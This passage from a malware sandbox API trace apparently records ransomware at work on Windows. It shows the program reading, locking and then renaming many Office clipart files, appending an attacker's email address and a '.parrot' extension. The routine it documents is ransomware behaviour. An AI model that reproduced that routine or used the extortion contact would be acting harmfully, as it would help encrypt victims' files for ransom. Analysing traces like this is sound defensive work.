dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.605] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.610] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.620] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0135.621] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.621] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.621] CloseHandle (hObject=0x288) returned 1 [0135.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.625] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.625] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.625] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.628] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.628] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12c8, lpOverlapped=0x0) returned 1 [0135.629] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.629] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.629] CloseHandle (hObject=0x288) returned 1 [0135.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.632] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1334, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.633] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.634] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x121c, lpOverlapped=0x0) returned 1 [0135.637] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.637] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1334, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.637] CloseHandle (hObject=0x288) returned 1 [0135.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.640] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xff0, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.640] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.640] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.642] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.642] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xed8, lpOverlapped=0x0) returned 1 [0135.643] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.643] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xff0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.643] CloseHandle (hObject=0x288) returned 1 [0135.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.646] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x215c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.646] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.651] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.651] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2044, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2044, lpOverlapped=0x0) returned 1 [0135.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.652] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.652] CloseHandle (hObject=0x288) returned 1 [0135.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.655] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c80, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.655] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.657] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b68, lpOverlapped=0x0) returned 1 [0135.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.659] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.659] CloseHandle (hObject=0x288) returned 1 [0135.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.662] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x168c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.662] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.663] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1574, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1574, lpOverlapped=0x0) returned 1 [0135.664] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.664] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x168c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.664] CloseHandle (hObject=0x288) returned 1 [0135.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.667] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.668] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.668] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.669] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbf4, lpOverlapped=0x0) returned 1 [0135.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.670] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.670] CloseHandle (hObject=0x288) returned 1 [0135.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.673] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.673] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.674] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.674] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc44, lpOverlapped=0x0) returned 1 [0135.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.675] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.675] CloseHandle (hObject=0x288) returned 1 [0135.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.678] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf54, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.678] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.678] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.680] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe3c, lpOverlapped=0x0) returned 1 [0135.680] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.680] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.680] CloseHandle (hObject=0x288) returned 1 [0135.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.723] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.723] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.724] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.725] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x138c, lpOverlapped=0x0) returned 1 [0135.726] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.726] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.726] CloseHandle (hObject=0x27c) returned 1 [0135.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.729] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.729] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.729] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.731] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12b4, lpOverlapped=0x0) returned 1 [0135.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.732] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.732] CloseHandle (hObject=0x27c) returned 1 [0135.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.735] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2138, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.735] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.736] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2020, lpOverlapped=0x0) returned 1 [0135.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.738] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.738] CloseHandle (hObject=0x27c) returned 1 [0135.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.741] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1384, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.741] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0135.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.743] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x126c, lpOverlapped=0x0) returned 1 [0135.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.744] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1384, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0135.744] CloseHandle (hObject=0x27c) returned 1 [0135.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0135.748] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x425e, nNumberOfBytesToLockHigh=0x0) returned 1 [0135.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0135.748] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, 